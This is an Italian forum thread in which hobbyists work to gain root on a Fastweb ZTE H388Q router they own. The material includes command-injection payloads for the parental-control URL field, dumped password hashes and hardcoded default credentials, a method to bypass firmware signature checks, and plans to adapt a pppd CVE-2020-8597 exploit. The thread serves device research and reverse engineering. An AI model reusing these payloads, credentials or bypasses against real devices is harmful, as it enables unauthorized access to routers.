dlna_enabled=1&printserver_enabled=1&samba_enabled=1&samba_server=FASTGATE&samba_workgroup=TEST1%5Cworkgroup%20%3D%20TEST2&samba_share_on=lan&disk_protected=0&disk_username=admin&disk_password=&3g_fallback=0&3g_connection_status=0&3g_activation=2&3g_timeout=30&3g_pin=&3g_apn=datacard.fastweb.it&3g_username=&3g_password=&act=nvset&service=usb_status&sessionKey=c9b86e5ac8edb848e03191187930c8173a2eed89d45ae35f2c0d69ef53ddcf08&_=1589889316303
-
Allora, non so se sbaglio io qualcosa o no, ma questo dovrebbe essere il risultato forzando NT1 (Ho guardato al volo non ne capisco niente di SAMBA) dopo aver inviato la richiesta come avevi proposto
(https://i.imgur.com/3L6UPCw.png)
EDIT: Ma invece con un server CWMP si potrebbe provare ad inviare un set di credenziali per telnet/ssh? Ho appena provato a inviare un vecchio firmware ed effettivamente l'ha preso, adesso ho su la versione H388Q_V7.0.0_R1_FW-13_ZTE, i comandi presi dal parental sembrano gli stessi quindi non so se ci sono altri bug, la data del Firmware dovrebbe essere 2019-09-03
EDIT2: https://www.mediafire.com/file/tk7otzy93cbnkvq/device-C85A9F-H388Q%2520V7%252E0-ZTEEG9HL1F06195-2020-05-20T111743774Z.csv/file Queste sono tutte le informazioni che ho potuto leggere dal server CWMP, alcune sono modificabili (Ovviamente quelle con scritto Writable), ho impostato il logserver sul mio pc ma non so se sia il mio client ma leggo nulla di interessante (O almeno non riesco a leggerla). I comandi per l'url del parental hanno le stesse restrizioni della webgui credo, e quando viene inviato il comando per esempio: ;sh$IFS/mnt/usb1_1/stafunzionando/sblocco.sh riporta url:;sh$IFS/mnt/usb1_1/stafunzionando/sblocco.sh,dns failed.
L'user che menziona admin è quello creato dalla GUI, quindi niente di interessante.
-
si potrebbe provare ad inviare un set di credenziali per telnet/ssh?
ecco la hash
root:$5$nNlbaDEQ$xgObtzYmp9ESA0JRoKKh/ALswzRq9d5TonLE8Sh4MPB:12086::99999::::
-
prova
localhost;sh$IFS/mnt/usb1_1/stafunzionando/sblocco.sho
127.0.0.1;sh$IFS/mnt/usb1_1/stafunzionando/sblocco.sh
e vedi se hai sempre quel dns failed
-
Alcune note sul firmware
il .bin è composto da un header con numero magico, vari crc, offset e lunghezze di kernel e rootfs.
l'immagine del kernel è compressa in LZMA. per decompilarla conviene ricostruire l'header elf. (il processore è un tc3162, architettura mips)
il rootfs è criptato in aes128. la chiave si può ricavare da un attenta analisi di alcune routines del kernel. una volta in chiaro è un'immagine squashfs.
dentro il rootfs la cosa più notevole a mio avviso è un subsystem lxc.
rimango disponibile nei dm
-
prova
localhost;sh$IFS/mnt/usb1_1/stafunzionando/sblocco.sho
127.0.0.1;sh$IFS/mnt/usb1_1/stafunzionando/sblocco.sh
e vedi se hai sempre quel dns failed
Niente da fare, però forse ho scoperto dove viene inserito il comando:
H388Q V7.0 csp_exec_cmd [1688] : iptables -I parent_control_url -p tcp --dport 80 -m urlfilter --urlkey "";/bin/vsftpd"" -j REJECT --reject-with tcp-reset&&iptables -I parent_control_url -p tcp --dport 443 -m urlfilter --urlkey "";/bin/vsftpd"" -j REJECT --reject-with tcp-reset use time -- [6619] ticks timeout ! Quindi il bug è dato dal fatto che mettendo ; il "" è già chiuso, probabilmente per un errore di scrittura
Tra l'altro ;/bin/vsftpd attiva il server ftp sulla porta 21, che però richiede ancora la password.
Tra l'altro il subsystem lxc ha altri file di configurazioni, e altre password.
root:7w/zHBv11rla6:17893:0:99999:7:::
daemon:*:0:0:99999:7:::
ftp:*:0:0:99999:7:::
network:*:0:0:99999:7:::
nobody:*:0:0:99999:7:::
lldp:x:0:0:99999:7:::
admin:4.lWVMvEKHzbQ:17893:0:99999:7:::
samba:*:0:0:99999:7:::
lldp:x:0:0:99999:7:::
-
forse paradossalmente la cosa più veloce è editare il passwd, ricostruire la squashfs, criptarla, sostituirla nel bin di aggiornamento e ricalcolare bene i vari crc.
edit:
per poi hostarlo su un server acs
-
;/lxc/root-ecnt752x/bin/ash$IFS/mnt/usb1_1/stafunzionando/sblocco.sh
;busybox$IFS/bin/ash$IFS/mnt/usb1_1/stafunzionando/sblocco.sh
anche se toglierei quel .sh dal nome che ci evitiamo un carattere, magari accorcia anche la path, al file fagli contenere solo "reboot" senza null'altro
e per sfizio prova anche:
;/pippo/reboot;busybox$IFS/pippo/reboot;busybox$IFS/sbin/reboot
-
test.com;reboot;#
Se questo sopra funziona prva ad aggiungere uno spazio tra il ; e la r di reboot
PS: comunque a me IFS di default contiene i 3 caratteri 20 (spazio) 09 (tab) e 0A (newline).
root@OpenWrt:~# echo ciao$IFStest
ciao
root@OpenWrt:~# echo ciao${IFS}test
ciao test
root@OpenWrt:~# echo ciao$IFS/test
ciao /test
-
Allora, di quelli di @FrancYescO non ne funziona neanche uno, quello di @LuKePicci senza spazio funziona, con lo spazio riporta:
H388Q V7.0 fwUrlChkValidUrl [test.com; reboot;#] fail.Dal log comunque adesso si ha qualche certezza, tipo il punto di mount è corretto: H388Q V7.0 _DmsCheckDir szTmp is /mnt/usb1_1Sono d'accordo con LuKePicci, il comando $IFS secondo me non è uno spazio fatto così, dovrebbe essere ${IFS}, ma ovviamente non posso mettere le graffe.
Comunque il file /lxc/root-ecnt752x/etc/init.d/klish-init contiene
#! /bin/sh /etc/rc.common
START=20
STOP=90
ROOT_USER_NAME="root"
start() {
# Create user for root user
if ! grep -qF "$ROOT_USER_NAME" /etc/config/users ;then
useradd -o -u 0 -g 0 -N -d /root/ -M $ROOT_USER_NAME ; echo "### ADDING USER ###" > /dev/kmsg
echo "$ROOT_USER_NAME" >> /etc/config/users
echo "$ROOT_USER_NAME:admin123" | chpasswd
usermod -s /bin/ash $ROOT_USER_NAME
add-shell /bin/ash
fi
# start konfd for root user
/usr/bin/konfd -u $ROOT_USER_NAME
# Create user for admin user
if ! grep -qF "admin" /etc/passwd ;then
useradd admin
#mkdir -p /home/admin
echo "admin" >> /etc/config/users
echo "admin:qwerty" | chpasswd
usermod -s /bin/ash admin
add-shell /bin/ash
fi
# Remove the clish lock, if it already holds
if [ -e "/tmp/clish.lock" ]; then
echo "remove clish lock"
rm /tmp/clish.lock
fi
# Enable the telnet service
/usr/sbin/telnetd -l /bin/login.sh
}
Eseguendolo non dovrebbe impostare la password di admin su qwerty?
EDIT: Inserendo una chiavetta Ext4 riporta H388Q V7.0 Mount failed! dev node is used out. Quindi la riconosce
-
il primo di quei comandi ovviamente non va perchè la variabile IFStest non è definita
IFS è la variabile che definisce i separatori per gli argomenti (appunto \s\t\n son tutti validi di default), ma credo non riusciamo a cambiarlo runtime perchè non gli piace l'uguale, o forse perchè siamo in una (sub)shell che non sappiamo come funziona..
vsftpd riesci a guardare che versione è nell'handshake? aveva una backdoor in versioni passate
cosa hai avuto come responso nel log ai miei comandi? fate conto potrebbe fare una resolution sul dominio, quindi se non è connesso meglio mettere 127.0.0.1 o localhost che dovrebbe avere sempre successo, ma questo dovrebbero confermarlo i log
di sicuro li vengono definiti due user root:admin123 e admin:qwerty ma dovresti lanciare /lxc/root-ecnt752x/etc/init.d/klish-init start per eseguirlo, oltre al fatto che le condizioni degli if non farebbero eseguire quel codice, l'unica speranza è che sia attivo di default e che nessuno tocchi quegli user dopo
hai provato a loggarti con ftp con quegli user?
-
Allora, nmap riporta solo
vsftpd 2.0.8 or later c'è un altro modo per verificare la versione?
Mi sono reso conto che senza wan collegata non riporta quel dns fail, però il reboot funziona sempre quindi non saprei cosa succeda li dentro
Purtroppo i due users non funzionano
-
telnettalo su porta 21, la 2.3.4 era quella affetta
-
telnet 192.168.1.254 21
Trying 192.168.1.254...
Connected to 192.168.1.254.
Escape character is '^]'.
220 Welcome to virtual FTP service.EDIT: USER user:)
331 Please specify the password.
PASS pass
530 Login incorrect.Non sembra vulnerabile
-
vabbe provaci lo stesso
-
forse paradossalmente la cosa più veloce è editare il passwd, ricostruire la squashfs, criptarla, sostituirla nel bin di aggiornamento e ricalcolare bene i vari crc.
edit:
per poi hostarlo su un server acs
Mmm non credo che il modem accetti qualsiasi firmware gli venga propinato, farà qualche check immagino
-
farà qualche check immagino
sui crc di sicuro ma si possono ricalcolare
-
Se tu riesci e vuoi mandarmi il bin posso provare a flasharlo e vedere che succede
EDIT: Finalmente riesco a capire un po' meglio che comandi prende quello script, questa stringa ;/bin/vsftpd&&sh$IFS/mnt/usb1_1/funziona/prova&& viene riportata così ;/bin/vsftpd&&sh\$IFS/mnt/usb1_1/funziona/prova&&, Il log completo è [ You must login or register to view this spoiler! ]
La cosa strana è che dopo la prima volta che spunta questo errore poi non spunta più, neanche dopo un reboot... forse ci vuole per forza un reset
EDIT: Aggiornamento, il segno del dollaro viene sempre preceduto dal \ infatti ;/bin/vsftpd;$IFS;%20;$1;$2;$3;$cmd;$4;$sep_un;$sep_NL;$5 diventa ;/bin/vsftpd;\$IFS;%20;\$1;\$2;\$3;\$cmd;\$4;\$sep_un;\$sep_NL;\$5Ma invece tramite cwmp o magari con i metodi che usa Fastweb per lo speedtest non è possibile mandargli un file? Così in questo modo potrebbe essere eseguibile
-
Novità?
-
Bhè, ne è spuntato un altro di huawey, questo ZTE dev'essere stato un flop clamoroso.
-
Possibile che quello Huawei (Tra l'altro c'era un modello Huawei prima di quello Askey, è lo stesso o un altro ancora?) sia destinato alla GPON? Perché questo ZTE non ha ingresso SFP quindi penso sia la versione "low-cost" per coloro che hanno FTTC-ADSL
-
L'unica cosa che so è che lo hanno dato ad un abbonato su Open Fiber che ha ONT esterno collegato in ethernet, quindi dubito integri un ONT, al limite ha anche lui l'SFP come i primi due askey e technicolor, o non ce l'ha nemmeno lui come lo zte. Ad ogni modo meglio parlarne altrove, altrimenti è un casino.
Non sapevo che questo ZTE non avesse l'SFP, ma di ethernet ne ha sempre solo 4?
-
Yes, 4 Ethernet e una sola porta USB, più ovviamente porta alimentazione, porta xdsl e due porte FXS. Nel documento di trasporto c'era scritto "MOS Fastgate Light". Tra l'altro queste caratteristiche sono ovviamente diverse da quelle riportate sul sito Fastweb sulle informazioni del "Fastgate" "https://www.fastweb.it/adsl-fibra-ottica/dettagli/modem-fastweb-fastgate/", che senso ha dargli un nome comune se poi hanno caratteristiche diverse?
-
quindi penso sia la versione "low-cost" per coloro che hanno FTTC-ADSL
a me l'hanno fornito per una FTTH business
Novità?
purtroppo in questo periodo il tempo scarseggia.. con qualche occhiata veloce:
sembra che tutte le funzioni del cpe vengano avviate e gestite da un grosso binario (/bin/cspd) che essenzialmente sostituisce i soliti script di init.d e, immagino, agisce da watchdog generale del sistema. è lui ad avviare i vari altri eseguibili (httpd tra tutti gli altri).
alcune cose che mi aspettavo di trovare configurate in /etc sono codificate dentro i binari stessi. ad esempio il root path che usa httpd è hardcoded dentro l'eseguibile stesso
(https://i.imgur.com/yG5bw5H.png)
per tornare alla vulnerabilità del parental control, httpd gestisce l'esecuzione di diversi script lua che costituiscono il backend per l'interfaccia (tutto il sistema cgi sembra basato su https://keplerproject.github.io/cgilua/manual.html (https://keplerproject.github.io/cgilua/manual.html)), tra cui anche l'inserimento degli url da bloccare:
...
elseif Service == "pc_list" and FP_ACTION == "Set" then
if cgilua.POST.mode_all == "0" then
cgilua.POST.mode_all = "Whole network"
else
cgilua.POST.mode_all = "Selected devices"
end
tError = FASTAPISet(OBJNAME_BASE, BASE_PARA)
elseif Service == "pc_device_set" then
tError = FASTAPISet(OBJNAME_DEV, DEV_PARA)
elseif Service == "pc_device_del" then
tError = FASTAPIDel(OBJNAME_DEV, cgilua.POST.mac)
elseif Service == "pc_address_set" then
tError = FASTAPISet(OBJNAME_URL, URL_PARA, "")
elseif Service == "pc_address_del" then
tError = FASTAPIDel(OBJNAME_URL, cgilua.POST.uri)
end
FASTAPIOut(Service, tOut, tError, outback)
seguendo un po' gli script è chiaro che i valori vengono sommariamente filtrati (con un po' più di tempo si potrebbero analizzare con cura questi filtri..) e scritti in nand.
sono convinto che vengano poi ripescati dal binario tuttofare che ha queste tremende routines che leggono gli indirizzi e li passano come parametri a iptables (immagino che il reboot fosse qui)
(https://i.imgur.com/DX6hAoU.png)
(https://i.imgur.com/VvGMFGP.png)
-
la funzione del backend che filtra i valori prima di passarli alla shell:
int CmdArgToSafeArg(char *param_1,undefined *param_2,size_t param_3)
{
char cVar1;
size_t sVar2;
int iVar3;
size_t sVar4;
if ((param_1 == (char *)0x0) || (param_2 == (undefined *)0x0)) {
printf("CmdArgToSafeShellArg Arg is NULL, error");
}
else {
sVar2 = strlen(param_1);
if (-1 < (int)sVar2) {
iVar3 = sVar2 * 2 + 3;
if ((int)param_3 < iVar3) {
printf("iSafeLen(%d) less than iLengthtmp(%d),len(%s)=(%d),error\n",param_3,iVar3,param_1,
sVar2);
return 0xfffffffe;
}
memset(param_2,0,param_3);
*param_2 = 0x22;
iVar3 = 0;
sVar4 = 0;
while (sVar4 != sVar2) {
cVar1 = *param_1;
if ((((cVar1 == '\"') || (cVar1 == '$')) || (cVar1 == '`')) || (cVar1 == '\\')) {
param_2[iVar3 + 1] = 0x5c;
iVar3 = iVar3 + 2;
param_2[iVar3] = *param_1;
}
else {
iVar3 = iVar3 + 1;
param_2[iVar3] = cVar1;
}
sVar4 = sVar4 + 1;
param_1 = param_1 + 1;
}
param_2[iVar3 + 1] = 0x22;
param_2[iVar3 + 2] = 0;
return iVar3 + 2;
}
printf("CmdArgToSafeShellArg iLength(%d) is error\n",sVar2);
}
return 0xffffffff;
}
dopo di lei, nello specifico per il parental, il comando viene costruito così
snprintf(acStack1560,0x200,
"iptables %s %s -p tcp --dport 80 -m urlfilter --urlkey \"%s\" -j %s",param_2,
param_3 + 0x20,auStack1048,&local_658)
(param2, param3 e local_658 sono costruiti dal programma stesso. auStack1048 è puntato dal secondo parametro di CmdArgToSafeArg)
edit: prima di essere salvato in memoria nessun valore sembra essere pesantemente controllato. il backend lua si limita a controllare che arrivino stringhe. (non ne sono del tutto certo, approfondirò) il filtraggio di cui sopra è effettuato postumo, leggendo i valori dal db delle configurazioni, subito prima di passare questi a iptables
-
Quindi come si spiega il tuo bootloop?
-
bella domanda. chiaramente sfugge ancora qualcosa dal quadro generale ma purtroppo non tutte le funzioni del binario hanno prototipi sensati (procedo rinominandole a mano...)
edit: inoltre non vedo filtraggio degli spazi. manca qualche pezzo del puzzle
-
Novità? Ho questo ZTE (H388Q_V7.0.0_R1_FW-25_ZTE) e non riesco a trovare un modo per gestire il QoS...
-
Aggiornamenti su filtraggio degli url del parental
sembra ci siano due stadi di filtraggio.
il primo, di cui lorenzo aveva postato messaggio di errore sul log
H388Q V7.0 fwUrlChkValidUrl [test.com; reboot;#] fail.
controlla che la stringa sia composta da caratteri rigorosamente ASCII compresi negli intervalli { 1-9 , a-z , A-Z } fuori da questi intervalli sono ammessi questi caratteri "-;.,:!@%#?_/&=+*$\'()[]
il secondo, di cui parlavo qui la funzione del backend che filtra i valori prima di passarli alla shell:
...
PREpone due backslash "\\" ai caratteri '\"' , '$' ,'`', '\\' (apici e virgole esclusi, ovviamente)
codice del primo stadio, nel caso mi fosse sfuggito qualcosa
(https://i.imgur.com/4JvgOzu.png)
edit: non mi sembra ci siano altri filtraggi; dopo il secondo stadio la stringa è passata direttamente a iptables così (parametro urlkey) iptables %s %s -p tcp --dport 80 -m urlfilter --urlkey \"%s\" -j %s
edit2: per essere più precisi, il secondo stadio aggiunge alla stringa " in apertura e chiusura, ecco perchè quando viene passata al comando di cui sopra (in cui, di nuovo, sono presenti le virgolette) viene eseguita
-
$(whoami)";test="$(whoami)";#Diventerebbe
... --urlkey "\\$(whoami)\\";test=\\"\\$(whoami)\\";#"... Che per quanto inutile comunque funzionerebbe
-
Non posso provare perché non ho il modem sotto mano, ma mi pare di ricordare che lo spazio è uno dei caratteri non accettati dal primo check
-
Sisi infatti quelli ce li ha messi swiftkey
-
pensavo che si potrebbe compilare un binario statico (sappiamo che è un MIPS big endian) che fa, per esempio, un callback ad un nostro server e caricarlo sulla chiavetta; poi chiamarlo dal parental con
;/mnt/usb1_1/test; (che dovrebbe funzionare...)
-
Si ma allora va bene anche uno script di shell purchè sia marcato come eseguibile. Le monta le chiavette ext3?
PS ci va comunque il # finale
-
PS ci va comunque il # finale
dovrebbe andare anche senza, semplicemente con ; ad inizio e fine comando.
immagino perchè, come ho aggiunto qui
edit2: per essere più precisi, il secondo stadio aggiunge alla stringa " in apertura e chiusura, ecco perchè quando viene passata al comando di cui sopra (in cui, di nuovo, sono presenti le virgolette) viene eseguita
la stringa ;reboot; alla fine esce del tipo ... --urlkey "";reboot;"" ...
purtroppo lo zte è in sicilia e io sono a milano; sennò avrei già provato
-
Novità? Ho questo ZTE (H388Q_V7.0.0_R1_FW-25_ZTE) e non riesco a trovare un modo per gestire il QoS...
noto che esiste una nuova versione... chissà se hanno corretto qualcosa; qualcuno con il cpe a portata di mano può controllare su che versione siamo?
-
purtroppo lo zte è in sicilia e io sono a milano; sennò avrei già provato
Idem :rotfl: Anzi io sono ancora più su di Milano, comunque no, non monta gli ext3, avevo già provato nei miei vari tentativi, solo FAT32 e NTFS mi pare di ricordare e si non c'è bisogno del # basta il ; iniziale, ;reboot
questa stringa era sufficiente a farlo riavviare
-
Ho ricostruito la funzione di calcolo dei CRC dell'header. Se ci sono metodi di fingersi il server di aggiornamento (se non ricordo il CWMP non è in HTTPS) posso provare a generare un binario con password root modificata
-
Non so cosa intendi per fingersi il sever di aggiornamento, se intendi inviargli un firmware da flashare l'ho già fatto in passato passando dalla versione H388Q_V7.0.0_R1_FW-23_ZTE alla versione H388Q_V7.0.0_R1_FW-13_ZTE tramite server CWMP
-
se intendi inviargli un firmware da flashare l'ho già fatto in passato passando dalla versione H388Q_V7.0.0_R1_FW-23_ZTE alla versione H388Q_V7.0.0_R1_FW-13_ZTE tramite server CWMP
benissimo, allora procedo.
edit: quindi consente il downgrade senza lamentarsi?
-
Si esattamente, ha accettato senza nessunissima richiesta il firmware
-
immagine di aggiornamento senza password root pronta. se qualcuno ha lo zte a portata di mano e se la sente di provare DM
-
mi viene in mente.. l'unica cosa che ci impediva di sfruttare la vulnerabilità del parental era l'impossibilità di eseguire cose da chiavetta perchè vengono montate solo FAT; conviene forse invece chiedere al cpe di scaricare lui stesso lo script da eseguire con una cosa del genere (che ho sniffato subito dopo un reset quando avevo il cpe a portata di mano):
<SOAP-ENV:Envelope
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:cwmp="urn:dslforum-org:cwmp-1-0"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<SOAP-ENV:Header>
<cwmp:ID
SOAP-ENV:mustUnderstand="1">
xxxxxx
</cwmp:ID>
</SOAP-ENV:Header>
<SOAP-ENV:Body>
<cwmp:Download>
<CommandKey>
xxxxx
</CommandKey>
<FileType>
3 Vendor Configuration File
</FileType>
<URL>
http://59.0.121.191:8080/ACS-server/FileServlet/enCore/xxxx/fastweb.pem
</URL>
<Username/>
<Password/>
<FileSize>
2875
</FileSize>
<TargetFileName/>
<DelaySeconds>
3
</DelaySeconds>
<SuccessURL/>
<FailureURL/>
</cwmp:Download>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
e poi chiamare l'esecuzione tramite il parental. se non erro sbirciando gli eseguibili avevo visto che queste cose vengono salvate in /var/tmp (stasera ricontrollo)
-
Purtroppo avevo già provato questa strada, ma il file viene dichiarato “errato” o una cosa del genere e credo prontamente cancellato, o almeno, io non sono riuscito, magari mi sfugge qualcosa
-
il cpe non accetta qualsiasi cosa come VCF valido, e in generale ci fa sempre qualcosa, non è che lo salva da qualche parte, se è un firmware lo flasha, se è un certificato lo installa (e ok in quel caso in sostanza magari lo copia) e via dicendo. Ma comunque -salvo strane scelte progettuali sui permessi dati a tali file qualora salvati- non sarebbe in alcun modo diverso dall'usare una chiavetta FAT,
-
Niente da fare con il firmware mod, il modem non accetta il firmare:
2020-11-02T08:27:43.745Z [WARN] 59.0.121.13 C85A9F-H388Q%20V7%2E0-ZTEEG9HL1F06195: Channel has faulted; channel="task_5f9fc2f4cea004109beb0d08" retries=0 faultCode="cwmp.9018" faultMessage="Download failure: file corrupted"
-
Piccola curiosità, possessori del ZTE ZXHN H388Q, che linea avete? Perché ho provato il mio su una linea VDSL 35b VULA TIM e il modem non riusciva ad allinearsi, è il mio difettoso o questo modem è solo per l'ADSL?
-
Io sono su 35b con tim e il modem funziona a dovere
Ho letto alla veloce il topic. Ho confuso il fastgate con il timhub visto che hanno quasi lo stesso nome. Chiedo venia
-
No si, ho detto una sciocchezza anche perché io sono in 8b da centrale sarà questo firmware 13 che è il primo disponibile dal CWMP che avevo caricato nelle varie prove che è buggato
-
Impostando il DHCP di tch-exploit con la subnet 59.0.121.0/24 si riesce effettivamente ad accedere alla CLI sia da Telnet che da SSH
Salve, ma non si è saputo più niente per quanto riguarda le credenziali di CLI giusto ?
-
Purtroppo no
-
Dopo aver visto questo messaggio
Se qualcuno volesse provare un modo per rootarlo, sono molto confidente che questo modem sia vulnerabile alla CVE-2020-8597
qui un esempio di come viene sfruttata su tutt'altro modello, ma con qualche ritocco qui e li (in pratica bisogna replicare i punti dal 5 al 7, magari sfruttando anche gli stessi script) il ragionamento di base dovrebbe essere lo stesso..
https://github.com/impulse/ac2100-openwrt-guide
Ho controllato quale sia la versione di ppp sul nostro ZTE dal firmware scompattato a disposizione, ed è proprio la versione vulnerabile al CVE-2020-8597, purtroppo però come sappiamo di Default Fastweb non usa PPPoE ed infatti non c'è nessuna richiesta, dato che però ho modo di modificare le configurazioni da TR-069, qualcuno sa quale quali siano i campi da modificare per attivare la PPPoE nella WAN?
-
I percorsi a cui puoi impostare una pppoe sono standard ma gli id delle istanze di tali configurazioni o il fatto stesso che partendo dalla situazione attuale tu riesca ad impostare una pppoe da zero tramite cwmp è tutto da studiare. La prima cosa che ti conviene fare è un dump completo del datamodel. Se sei fortunato trovi già l'istanza pppoe configurata con valori dummy e da abilitare.
-
Ciao a tutti,
Ho una FTTH Fastweb con ONT ZTE F601 e modem ZTE H388Q_V7.0.0, FW H388Q_V7.0.0_R1_FW-25_ZTE.
L'ho sostituito con un Technicolor ex TIM e sto cercando di far funzionare il voip senza dover richiedere il moem libero.
Ho letto la discussione ma non mi è chiaro se qualcuno sia riuscito ad accedere al modem per estrarne la configurazione della parte voip, un grazie a chiunque vorrà rispondermi (anche per un semplice no).
Antonio
-
I percorsi a cui puoi impostare una pppoe sono standard ma gli id delle istanze di tali configurazioni o il fatto stesso che partendo dalla situazione attuale tu riesca ad impostare una pppoe da zero tramite cwmp è tutto da studiare. La prima cosa che ti conviene fare è un dump completo del datamodel. Se sei fortunato trovi già l'istanza pppoe configurata con valori dummy e da abilitare.
Si li ho studiati un po' e credo che sia fattibile, comunque il problema prima credo sia capire come sfruttare l'exploit, perché ho provato ad usarlo con un Tg789vac Extreme e anche se l'exploit funziona (la pppoe si riavvia) non sono riuscito a sfruttarlo per aprire una connessione verso netcat.
@AntonioGT Per farla breve non esiste un modo
-
Ok grazie!
-
@lorenzocanalelc la ropchain che usa in quella guida usa gadget da uClibc compilata per lo Xiaomi ac2100 e il suo MediaTek MT7621A che è un mips, non arm, quindi in sostanza devi prendere un tool tipo ropgadget e dargli in pasto i binari dell' eseguibile di pppd e le librerie a lui linkate e rimpiazzare la chian così ottenuta in quel file python dell'exploit.
Il tch TG789vac Xtream 35b sappiamo che è arm, quindi non c'è modo che quella chain potesse funzionare, ed hai già a disposizione i file estratti dal firmware su cui lavorare per esperimenti.
Lo ZTE ZXHN H388Q mi pare abbia un SoC simile allo Xiaomi, se non proprio il medesimo, ma sperare che quella ropchain funzioni così com'è nei binari e sulle librerie dello ZTE è una scommessa generalmente perdente, devono combaciare troppe cose perchè avvenga. Conviene palesemente ricostruirne una nuova a partire dai file dello ZTE.
Suggerimento: se vuoi avere una certezza del tipo "lo sto facendo nel modo giusto" prendi i file del firmware Xiaomi e ricostruisci una chain valida per quel modello, tra quelle che il tool propone dovrebbe esserci anche quella che vedi nell'exploit in python per lo Xiaomi.
-
@lorenzocanalelc
Lo ZTE ZXHN H388Q mi pare abbia un SoC simile allo Xiaomi, se non proprio il medesimo
entrambi MIPS32
in ogni caso avevo messo su un qemu che faceva girare i binari trovati dentro il fw. potrebbe essere un buon campo per sperimentare l'exploit
-
Assolutamente si, ti metti con qemu static in un chroot con i binari del firmware e procedi, l'unica noia è pppd che per girare forse richiede qualche driver di rete
-
Comunque un mio conoscente ha appena attivato una nuova linea Fastweb in FTTH su rete OpenStream OpenFiber e ha ricevuto questo modem, quindi a quanto pare quest'ultimo non è stato abbandonato da Fastweb, faccio notare che il modem ha ancora lo stessa versione di Marzo (H388Q_V7.0.0_R1_FW-25_ZTE) piena di bug...
-
Ciao a tutti,
Ho una FTTH Fastweb con ONT ZTE F601 e modem ZTE H388Q_V7.0.0, FW H388Q_V7.0.0_R1_FW-25_ZTE.
L'ho sostituito con un Technicolor ex TIM e sto cercando di far funzionare il voip senza dover richiedere il moem libero.
Ho letto la discussione ma non mi è chiaro se qualcuno sia riuscito ad accedere al modem per estrarne la configurazione della parte voip, un grazie a chiunque vorrà rispondermi (anche per un semplice no).
Antonio
Ciao Antonio, che stringa hai usato come vendorid?
Grazie
-
Ciao son finito qui in cerca di soluzione per un mio problema di rete. Penso possa essere coinvolto il Fastgate, o meglio, una fantomatica modalità bridge.
Premessa: Da interfaccia vedo che ho un Fastgate ZTE H388Q V7.0 - vers. software 1.0.1b - vers. firmware H388Q_V7.0.0_R1_FW-25_ZTE - Vers. hardware V7.0.0
Il problema:
in una rete non troppo incasinata (Fastgate, due switch, e una ventina di oggetti collegati via ethernet o wifi) ho aggiunto un sistema Mesh (Tenda Nova MW6 WiFi Mesh, Dual Band AC1200, modello MW6-3 Pack, su Amazon)
Questo Mesh quando acceso, è andato di default in modalità DHCP e ha creato una nuova sottorete (192.168.2.x) diversa dalla originaria (192.168.1.x). Risultato, il mio PC (per es) dalla rete "2" non vedeva più gli oggetti (NAS, ecc) sulla rete "1". Allora dall'helpdesk mi han detto, "metta il mesh in modalità bridge". Così ho fatto, dalla sua app. Sono sparite tutte le altre voci di configurazione (port forward, ecc ecc) e in effetti anche gli oggetti che collego al mesh (via wifi o ethernet sugli scatolotti) adesso prendono un IP 192.168.1.x
Il mio PC "master", attaccato con ethernet al primo scatolotto del mesh, ha lo stesso ip di prima, riesce a vedere gli altri PC, internet, i NAS, e tutto il resto.
Dove sta il problema ? Uno stramaledetto Macbook (M1) su cui ho attivato la condivisione di una cartella su harddisk. Ho bisogno di vedere questa cartella dal PC "master" e non c'è più modo di riuscirci. Prima del mesh ovviamente, funzionava. Il Mac è connesso via wifi, non ha ethernet. Sia che mi connetta alla rete wifi vecchia del Fastgate, sia a quella nuova, del Mesh, il mac prende sempre lo stesso IP. In entrambi i casi, dal PC, la cartella condivisa del Mac non si vede più. Gira clessidra per 3 minuti, poi mi dice che non la trova. SE il Mac è connesso al Wifi del mesh, dal PC faccio il ping all'IP del mac e risponde regolarmente. Se invece il Mac è connesso al Wifi del Fastgate, manco il ping funziona.
NB: il PC "master" è sempre connesso in ethernet al primo scatolotto del mesh, e lì deve restare, per motivi particolari.
Qualche idea ?
Thanks !
-
Ciao Antonio, che stringa hai usato come vendorid?
Grazie
Ciao scusami, non mi era arrivata la notifica e non mi sono più collegato.
Il vendor ID che uso è H388Q V7.0/H388Q_V7.0.0_R1_FW-23_ZTE ma se non ricordo male internet funziona anche solo facendo lo spoofing del MAC address.
Il mio problema è il voip, ma sembra che di accedere al FS del modem non se ne parli.
-
Finalmente ho avuto qualche giorno per giocare con il cpe. (in realtà più con il suo firmware che con lui..) e sono root.
Seguendo la strada di @lorenzocanalelc ho usato un acs per reindirizzare il log verso un server, potendo così vedere a grandi linee dove il binario tuttofare cspd stabilisce che l'immagine di aggiornamento sia valida o meno. Qualche ora su IDA mi ha regalato la struttura dell'header che, essenzialmente, contiene lunghezza, offest, crc di kernel e rootfs, crc dell'header e un secondo crc su un'altra porzione dell'header. C'è anche una firma di 40 byte preceduta dalla sua lunghezza: rendendo la lunghezza 0 questa diventa sempre valdia.
Il rootfs come già sapevamo è criptato in AES. per le versioni che ho io la chiave è sempre la stessa e sta nel kernel. una volta in chiaro unsquashfs.
Per impacchettare un fw modificato la strada è ovviamente valida all'inverso: mksquashfs -> encrypt in AES -> calcolo del nuovo crc rootfs -> sostituzione valori nell'header -> calcolo nuovo crc dell'header (x2)
telnetd e dropbear sono rimaneggiati in qualche modo per passare attraverso cliagent: anche cambiando la password root non danno una shell. ho cross-compilato quindi un dropbear pulito e l'ho sostituito a quello originale (e aggiunto il mount del devpts che per qualche motivo manca) e finalmente:
BusyBox v1.17.2 (2019-12-09 19:45:15 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
interfacce di rete e layout della memoria
br0 Link encap:Ethernet HWaddr DC:F8:B9:A6:F8:43
inet addr:192.168.1.253 Bcast:192.168.1.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:79 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:11980 (11.6 KiB)
br1 Link encap:Ethernet HWaddr DC:F8:B9:A6:F8:44
inet addr:192.168.78.254 Bcast:192.168.78.255 Mask:255.255.255.0
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
